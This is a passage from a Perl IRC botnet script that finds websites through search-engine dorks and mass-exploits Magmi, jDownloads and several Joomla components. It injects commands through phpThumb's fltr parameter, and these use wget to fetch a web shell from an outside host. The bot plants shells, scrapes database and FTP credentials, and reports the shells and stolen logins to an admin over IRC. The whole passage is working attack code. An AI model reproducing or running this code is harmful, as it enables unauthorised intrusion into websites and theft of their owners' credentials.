  3438.                            &msg("$chan","4,1[+]$$mglogo4$engine 12FTP[+]Success send To Admin");
  3439.                            }
  3440.                            if ($ftplog2 =~ /ftp/) {
  3441.                            &msg("$admin","4,1[+]$$mglogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$user." [+]password:".$pass."");
  3442.                            &msg("$chan","4,1[+]$$mglogo0,1$engine 4,1FTP[+]Success send To Admin");
  3443.                             }
  3444.                             my $hosts = "http://".$site;
  3445.                             if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  3446.                                 $host = $2;
  3447.                                     &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$mglogo);sleep(1);
  3448.                                     &msg("$chan","!ftp ".$host." ".$user." ".$pass."");
  3449.                                         if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; }
  3450.                                             &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$mglogo);sleep(1);
  3451.                                             &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass."");
  3452.             }   }
  3453.         }
  3454.     }
  3455. }
  3456. sub jdl_exploit() {
  3457.     my $chan = $_[0];
  3458.     my $bug = $_[1];
  3459.     my $dork = $_[2];
  3460.     my $engine = $_[3];
  3461.     my $nick = $_[4];
  3462.     my $count = 0;
  3463.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jdllogo,$nick);
  3464.     my $num = scalar(@totexploit);
  3465.     if ($num > 0){
  3466.         foreach my $site(@totexploit){
  3467.         $count++;
  3468.         if ($count == $num-1) { &msg("$chan","$jdllogo(7@2$engine15)14 Scan finish"); }
  3469.         my $test = "http://".$site.$bug;
  3470.         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3471.         my $xmlrpc = "http://".$site."images/jdownloads/screenshots/4nt-crew.php.j";
  3472.         my $cek  = &get_content($test); sleep(3);
  3473.         if ($cek =~ /This form allows you to upload/i){
  3474.         my $coba = $bogel."?url=".$site;
  3475.         &get_content($coba); sleep(3);
  3476.         my $check = &get_content($xmlrpc); sleep(2);
  3477.         if ($check =~ /4nt- Crew/i){
  3478.         my $safe = "";
  3479.         my $os = "";
  3480.         my $uid = "";
  3481.         my $ftphost = "";
  3482.         my $ftpuser = "";
  3483.         my $ftppass = "";
  3484.         my $ftpopen = "";
  3485.         if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3486.         if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3487.         if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3488.         if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
  3489.         if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
  3490.         if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
  3491.         if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
  3492.         &msg("$chan","$jdllogo(7@2$engine15)(7@2SheLL15)3 Target Sent To $nick 15(4 SafeMode 15=4 $safe 15) (4 OS 15=4 $os 15)");
  3493.         if ($nick eq $admin) {
  3494.         &msg("$admin","$jdllogo(7@2$engine15)(7@2SheLL15)3 $xmlrpc 15(4 SafeMode 15=4 $safe 15) (4 OS 15=4 $os 15)");
  3495.         } else {
  3496.         &msg("$nick","$jdllogo(7@2$engine15)(7@2SheLL15)3 $xmlrpc 15(4 SafeMode 15=4 $safe 15) (4 OS 15=4 $os 15)");
  3497.         &msg("$admin","$jdllogo(7@2$engine15)(7@2SheLL15)3 $xmlrpc 15(4 SafeMode 15=4 $safe 15) (4 OS 15=4 $os 15)");
  3498.         }
  3499.         if ($ftpopen =~ /1/){
  3500.         my $hozt = $site;
  3501.         $hozt =~ s/\///;
  3502.         &ftp_connect($hozt,$ftpuser,$ftppass,$chan);
  3503.         }
  3504.     }
  3505. }
  3506.             } exit; }
  3507.         }
  3508.     }
  3509. }
  3510. sub magmi_exploit() {
  3511.     my $chan = $_[0];
  3512.     my $bug = $_[1];
  3513.     my $dork = $_[2];
  3514.     my $engine = $_[3];
  3515.     my $count = 0;
  3516.     my @list = &search_engine($chan,$bug,$dork,$engine,$mag2logo);
  3517.     my $num = scalar(@list);
  3518.     if ($num > 0) {
  3519.         foreach my $site (@list) {
  3520.             $count++;
  3521.             if ($count == $num-1) { &msg("$chan","$mag2logo(4,1@4,1$engine4,1)0,1 Selesai"); }
  3522.             my $test = "http://".$site."magmi/web/plugin_upload.php";
  3523.             my $html = &get_content($test);
  3524.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3525.             if ($html =~ /MAGMI/ || $html =~ m/<h3>Upload New Plugins<\/h3>/i ) {
  3526.                 &msg("$chan","$mag2logo(4,1@0,1$engine4,1)0,1(4,1@4,1Uploader0,1)4,1 ".$site." 0,1(4,1@4,1VulN0,1) ");sleep(2);
  3527.                 &magmi_xpl($test,$chan,$site,$engine);
  3528.                 &magmi_sql($test,$chan,$site,$engine);
  3529.                 } else { }
  3530.             } exit; sleep(2); }
  3531.         }
  3532.     }
  3533. }
  3534.  
  3535. sub magmi_xpl() {
  3536. my $ua = LWP::UserAgent->new;
  3537.    $ua->timeout(10);
  3538. my $url    = $_[0];
  3539. my $chan   = $_[1];
  3540. my $site   = $_[2];
  3541. my $engine = $_[3];
  3542. my $action = "http://".$site."magmi/web/magmi.php";
  3543. my $update_file = "arhy.zip";
  3544. my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
  3545.     my $status  = $exploit->as_string;
  3546.     my $check = &get_content("http://".$site."magmi/plugins/arhy.php");
  3547.     if ($check =~ /Arhy - Shell/) {
  3548.     my $safe = ""; my $os = "";
  3549.     if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  3550.     if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  3551.     &msg("$chan","$mag2logo(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL)4,1 $safe $os 0,1(0,1@0,1MazaCrew0,1) ");sleep(2);
  3552.     &msg("$admin","$mag2logo(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 http://".$site."magmi/plugins/arhy.php 0,1(0,1@4,1MazaCrew0,1) ");sleep(2);
  3553.     }
  3554. }
  3555.  
  3556. sub magmi_sql() {
  3557. my $url    = $_[0];
  3558. my $chan   = $_[1];
  3559. my $site   = $_[2];
  3560. my $engine = $_[3];
  3561. my $html  = &get_content($url);
  3562.         if ($html =~ /DB Name:<\/li>/i) {
  3563.                 my $serverIP   ="";
  3564.                            if ($html =~ /host" value="(.*)" ><\/input>/) {$serverIP=$1;}
  3565.                            if ($html =~ /user" value="(.*)" ><\/input>/){$user=$1;}
  3566.                            if ($html =~ /password" value="(.*)" ><\/input>/){$pass=$1;}
  3567.                            if ($html =~ /dbname" value="(.*)" ><\/input>/){$dbname=$1;}
  3568.                            &msg("$chan","$mg2logo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]hostname:4,1".$serverIP."");
  3569.                            &msg("$chan","$mg2logo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]username:4,1".$user."");
  3570.                            &msg("$chan","$mg2logo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]password:4,1".$pass."");
  3571.                            &msg("$chan","$mg2logo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]dbname  :4,1".$dbname."");
  3572.                            if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  3573.                            my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  3574.                            my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  3575.                            my $ftplog = &get_content($ceklog);
  3576.                            my $ftplog2 = &get_content($ceklog2);
  3577.                            if ($ftplog =~ /ftp/) {
  3578.                            &msg("$admin","4,1[+]$mg2logo0,1$engine 4,1FTP[+] 4,1ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
  3579.                            &msg("$chan","4,1[+]$$mg2logo0,1$engine 4,1FTP[+]Success send To Admin");
  3580.                            }
  3581.                            if ($ftplog2 =~ /ftp/) {
  3582.                            &msg("$admin","4,1[+]$$mg2logo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$user." [+]password:".$pass."");
  3583.                            &msg("$chan","4,1[+]$$mg2logo0,1$engine 4,1FTP[+]Success send To Admin");
  3584.                             }
  3585.                             my $hosts = "http://".$site;
  3586.                             if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  3587.                                 $host = $2;
  3588.                                     &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$mg2logo);sleep(1);
  3589.                                     &msg("$chan","!ftp ".$host." ".$user." ".$pass."");
  3590.                                         if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; }
  3591.                                             &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$mg2logo);sleep(1);
  3592.                                             &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass."");
  3593.             }   }
  3594.         }
  3595. sub flexi_exploit() {
  3596.     my $chan = $_[0];
  3597.     my $bug = $_[1];
  3598.     my $dork = $_[2];
  3599.     my $engine = $_[3];
  3600.     my $nick = $_[4];
  3601.     my $count = 0;
  3602.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$flelogo,$nick);
  3603.     my $num = scalar(@totexploit);
  3604.     if ($num > 0){
  3605.         foreach my $site(@totexploit){
  3606.             $count++;
  3607.             if ($count == $num-1) { &msg("$chan","$flelogo15[2@12$engine15]14 Scan finish"); }
  3608.             my $target = "http://".$site.$bug;
  3609.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3610.             my $test = &get_content($target);
  3611.             if ($test =~ /\‰PNG/i) {
  3612.             #&msg("$chan","$flelogo15[2@12$engine15][2@12eXploiting15]3 http://$site 4please wait ...");
  3613.             my $dor = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;wget%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20-O%20myluph.php;&phpThumbDebug=9";
  3614.             my $open = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;lwp-download%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20;mv%20robots.txt%20myluph.php;&phpThumbDebug=9";
  3615.             my $explo = "http://".$site."components/com_flexicontent/librairies/phpthumb/phpThumb.php".$dor;
  3616.             my $openx = "http://".$site."components/com_flexicontent/librairies/phpthumb/phpThumb.php".$open;
  3617.             &get_content($explo);
  3618.             &get_content($openx);
  3619.             my $shell = "http://".$site."components/com_flexicontent/librairies/phpthumb/myluph.php";
  3620.             my $shell2 = "http://".$site."components/com_flexicontent/librairies/myluph.php";
  3621.             my $shell3 = "http://".$site."components/com_flexicontent/myluph.php";
  3622.             my $bot = "http://".$site."components/com_flexicontent/librairies/phpthumb/metri.php";
  3623.             my $bot2 = "http://".$site."components/com_flexicontent/librairies/metri.php";
  3624.             my $bot3 = "http://".$site."components/com_flexicontent/metri.php";
  3625.             my $box = "http://".$site."components/com_flexicontent/librairies/phpthumb/recky.php";
  3626.             my $box2 = "http://".$site."components/com_flexicontent/librairies/recky.php";
  3627.             my $box3 = "http://".$site."components/com_flexicontent/recky.php";
  3628.             my $check = &get_content($shell."?thumb");
  3629.             if ($check =~ /bogel - exploit/i){
  3630.             my $safe = "";
  3631.             my $os = "";
  3632.             my $uid = "";
  3633.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3634.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3635.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3636.             &get_content($bot); &get_content($box); sleep(2);
  3637.             &msg("$base","$flelogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3638.             &msg("$nick","$flelogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3639.             &msg("$chan","$flelogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3640.             }
  3641.             my $check2 = &get_content($shell2."?thumb");
  3642.             if ($check2 =~ /bogel - exploit/i){
  3643.             my $safe = "";
  3644.             my $os = "";
  3645.             my $uid = "";
  3646.             if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3647.             if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3648.             if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  3649.             &get_content($bot2); &get_content($box2); sleep(2);
  3650.             &msg("$base","$flelogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3651.             &msg("$nick","$flelogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3652.             &msg("$chan","$flelogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3653.             }
  3654.             my $check3 = &get_content($shell3."?thumb");
  3655.             if ($check3 =~ /bogel - exploit/i){
  3656.             my $safe = "";
  3657.             my $os = "";
  3658.             my $uid = "";
  3659.             if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3660.             if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3661.             if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;}
  3662.             &get_content($bot3); &get_content($box3); sleep(2);
  3663.             &msg("$base","$flelogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3664.             &msg("$nick","$flelogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3665.             &msg("$chan","$flelogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3666.         }
  3667.     }
  3668.             } exit; }
  3669.         }
  3670.     }
  3671. }
  3672.  
  3673. ################################################################################
  3674.  
  3675. sub jmulti_exploit() {
  3676.     my $chan = $_[0];
  3677.     my $bug = $_[1];
  3678.     my $dork = $_[2];
  3679.     my $engine = $_[3];
  3680.     my $nick = $_[4];
  3681.     my $count = 0;
  3682.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jmulogo,$nick);
  3683.     my $num = scalar(@totexploit);
  3684.     if ($num > 0){
  3685.         foreach my $site(@totexploit){
  3686.             $count++;
  3687.             if ($count == $num-1) { &msg("$chan","$jmulogo15[2@12$engine15]14 Scan finish"); }
  3688.             my $target = "http://".$site.$bug;
  3689.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3690.             my $test = &get_content($target);
  3691.             if ($test =~ /\‰PNG/i) {
  3692.             #&msg("$chan","$jmulogo15[2@12$engine15][2@12eXploiting15]3 http://$site 4please wait ...");
  3693.             my $dor = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;wget%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20-O%20myluph.php;&phpThumbDebug=9";
  3694.             my $open = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;lwp-download%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20;mv%20robots.txt%20myluph.php;&phpThumbDebug=9";
  3695.             my $explo = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php".$dor;
  3696.             my $openx = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php".$open;
  3697.             &get_content($explo);
  3698.             &get_content($openx);
  3699.             my $shell = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/myluph.php";
  3700.             my $shell2 = "http://".$site."components/com_jmultimedia/assets/thumbs/myluph.php";
  3701.             my $shell3 = "http://".$site."components/com_jmultimedia/assets/myluph.php";
  3702.             my $bot = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/metri.php";
  3703.             my $bot2 = "http://".$site."components/com_jmultimedia/assets/thumbs/metri.php";
  3704.             my $bot3 = "http://".$site."components/com_jmultimedia/assets/metri.php";
  3705.             my $box = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/recky.php";
  3706.             my $box2 = "http://".$site."components/com_jmultimedia/assets/thumbs/recky.php";
  3707.             my $box3 = "http://".$site."components/com_jmultimedia/assets/recky.php";
  3708.             my $check = &get_content($shell."?thumb");
  3709.             if ($check =~ /bogel - exploit/i){
  3710.             my $safe = "";
  3711.             my $os = "";
  3712.             my $uid = "";
  3713.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3714.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3715.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3716.             &get_content($bot); &get_content($box); sleep(2);
  3717.             &msg("$base","$jmulogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3718.             &msg("$nick","$jmulogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3719.             &msg("$chan","$jmulogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3720.             }
  3721.             my $check2 = &get_content($shell2."?thumb");
  3722.             if ($check2 =~ /bogel - exploit/i){
  3723.             my $safe = "";
  3724.             my $os = "";
  3725.             my $uid = "";
  3726.             if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3727.             if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3728.             if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  3729.             &get_content($bot2); &get_content($box2); sleep(2);
  3730.             &msg("$base","$jmulogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3731.             &msg("$nick","$jmulogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3732.             &msg("$chan","$jmulogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3733.             }
  3734.             my $check3 = &get_content($shell3."?thumb");
  3735.             if ($check3 =~ /bogel - exploit/i){
  3736.             my $safe = "";
  3737.             my $os = "";
  3738.             my $uid = "";
  3739.             if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3740.             if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3741.             if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;}
  3742.             &get_content($bot3); &get_content($box3); sleep(2);
  3743.             &msg("$base","$jmulogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3744.             &msg("$nick","$jmulogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3745.             &msg("$chan","$jmulogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3746.         }
  3747.     }
  3748.             } exit; }
  3749.         }
  3750.     }
  3751. }
  3752.  
  3753. ################################################################################
  3754.  
  3755. sub alpha_exploit() {
  3756.     my $chan = $_[0];
  3757.     my $bug = $_[1];
  3758.     my $dork = $_[2];
  3759.     my $engine = $_[3];
  3760.     my $nick = $_[4];
  3761.     my $count = 0;
  3762.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$alplogo,$nick);
  3763.     my $num = scalar(@totexploit);
  3764.     if ($num > 0){
  3765.         foreach my $site(@totexploit){
  3766.             $count++;
  3767.             if ($count == $num-1) { &msg("$chan","$alplogo15[2@12$engine15]14 Scan finish"); }
  3768.             my $target = "http://".$site.$bug;
  3769.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3770.             my $test = &get_content($target);
  3771.             if ($test =~ /\‰PNG/i) {
  3772.             #&msg("$chan","$alplogo15[2@12$engine15][2@12eXploiting15]3 http://$site 4please wait ...");
  3773.             my $dor = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;wget%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20-O%20myluph.php;&phpThumbDebug=9";
  3774.             my $open = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;lwp-download%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20;mv%20robots.txt%20myluph.php;&phpThumbDebug=9";
  3775.             my $explo = "http://".$site."components/com_alphauserpoints/assets/phpThumb/phpThumb.php".$dor;
  3776.             my $openx = "http://".$site."components/com_alphauserpoints/assets/phpThumb/phpThumb.php".$open;
  3777.             &get_content($explo);
  3778.             &get_content($openx);
  3779.             my $shell = "http://".$site."components/com_alphauserpoints/assets/phpThumb/myluph.php";
  3780.             my $shell2 = "http://".$site."components/com_alphauserpoints/assets/myluph.php";
  3781.             my $shell3 = "http://".$site."components/com_alphauserpoints/myluph.php";
  3782.             my $bot = "http://".$site."components/com_alphauserpoints/assets/phpThumb/metri.php";
  3783.             my $bot2 = "http://".$site."components/com_alphauserpoints/assets/metri.php";
  3784.             my $bot3 = "http://".$site."components/com_alphauserpoints/metri.php";
  3785.             my $box = "http://".$site."components/com_alphauserpoints/assets/phpThumb/recky.php";
  3786.             my $box2 = "http://".$site."components/com_alphauserpoints/assets/recky.php";
  3787.             my $box3 = "http://".$site."components/com_alphauserpoints/recky.php";
  3788.             my $check = &get_content($shell."?thumb");
  3789.             if ($check =~ /bogel - exploit/i){
  3790.             my $safe = "";
  3791.             my $os = "";
  3792.             my $uid = "";
  3793.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3794.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3795.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3796.             &get_content($bot); &get_content($box); sleep(2);
  3797.             &msg("$base","$alplogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3798.             &msg("$nick","$alplogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3799.             &msg("$chan","$alplogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3800.             }
  3801.             my $check2 = &get_content($shell2."?thumb");
  3802.             if ($check2 =~ /bogel - exploit/i){
  3803.             my $safe = "";
  3804.             my $os = "";
  3805.             my $uid = "";
  3806.             if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3807.             if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3808.             if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  3809.             &get_content($bot2); &get_content($box2); sleep(2);
  3810.             &msg("$base","$alplogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3811.             &msg("$nick","$alplogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3812.             &msg("$chan","$alplogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3813.             }
  3814.             my $check3 = &get_content($shell3."?thumb");
  3815.             if ($check3 =~ /bogel - exploit/i){
  3816.             my $safe = "";
  3817.             my $os = "";
  3818.             my $uid = "";
  3819.             if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3820.             if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3821.             if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;}
  3822.             &get_content($bot3); &get_content($box3); sleep(2);
  3823.             &msg("$base","$alplogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3824.             &msg("$nick","$alplogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3825.             &msg("$chan","$alplogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3826.         }
  3827.     }
  3828.             } exit; }
  3829.         }
  3830.     }
  3831. }
  3832.  
  3833. ################################################################################
  3834.  
  3835. sub act_exploit() {
  3836.     my $chan = $_[0];
  3837.     my $bug = $_[1];
  3838.     my $dork = $_[2];
  3839.     my $engine = $_[3];
  3840.     my $nick = $_[4];
  3841.     my $count = 0;
  3842.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$actlogo,$nick);
  3843.     my $num = scalar(@totexploit);
  3844.     if ($num > 0){
  3845.         foreach my $site(@totexploit){
  3846.             $count++;
  3847.             if ($count == $num-1) { &msg("$chan","$actlogo15[2@12$engine15]14 Scan finish"); }
  3848.             my $target = "http://".$site.$bug;
  3849.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3850.             my $test = &get_content($target);
  3851.             if ($test =~ /\‰PNG/i) {
  3852.             #&msg("$chan","$actlogo15[2@12$engine15][2@12eXploiting15]3 http://$site 4please wait ...");
  3853.             my $dor = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;wget%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20-O%20myluph.php;&phpThumbDebug=9";
  3854.             my $open = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;lwp-download%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20;mv%20robots.txt%20myluph.php;&phpThumbDebug=9";
  3855.             my $explo = "http://".$site."components/com_alphacontent/assets/phpThumb/phpThumb.php".$dor;
  3856.             my $openx = "http://".$site."components/com_alphacontent/assets/phpThumb/phpThumb.php".$open;
  3857.             &get_content($explo);
  3858.             &get_content($openx);
  3859.             my $shell = "http://".$site."components/com_alphacontent/assets/phpThumb/myluph.php";
  3860.             my $shell2 = "http://".$site."components/com_alphacontent/assets/myluph.php";
  3861.             my $shell3 = "http://".$site."components/com_alphacontent/myluph.php";
  3862.             my $bot = "http://".$site."components/com_alphacontent/assets/phpThumb/metri.php";
  3863.             my $bot2 = "http://".$site."components/com_alphacontent/assets/metri.php";
  3864.             my $bot3 = "http://".$site."components/com_alphacontent/metri.php";
  3865.             my $box = "http://".$site."components/com_alphacontent/assets/phpThumb/recky.php";
  3866.             my $box2 = "http://".$site."components/com_alphacontent/assets/recky.php";
  3867.             my $box3 = "http://".$site."components/com_alphacontent/recky.php";
  3868.             my $check = &get_content($shell."?thumb");
  3869.             if ($check =~ /bogel - exploit/i){
  3870.             my $safe = "";
  3871.             my $os = "";
  3872.             my $uid = "";
  3873.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3874.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3875.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3876.             &get_content($bot); &get_content($box); sleep(2);
  3877.             &msg("$base","$actlogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3878.             &msg("$nick","$actlogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3879.             &msg("$chan","$actlogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3880.             }
  3881.             my $check2 = &get_content($shell2."?thumb");
  3882.             if ($check2 =~ /bogel - exploit/i){
  3883.             my $safe = "";
  3884.             my $os = "";
  3885.             my $uid = "";
  3886.             if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3887.             if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3888.             if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  3889.             &get_content($bot2); &get_content($box2); sleep(2);
  3890.             &msg("$base","$actlogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3891.             &msg("$nick","$actlogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3892.             &msg("$chan","$actlogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3893.             }
  3894.             my $check3 = &get_content($shell3."?thumb");
  3895.             if ($check3 =~ /bogel - exploit/i){
  3896.             my $safe = "";
  3897.             my $os = "";
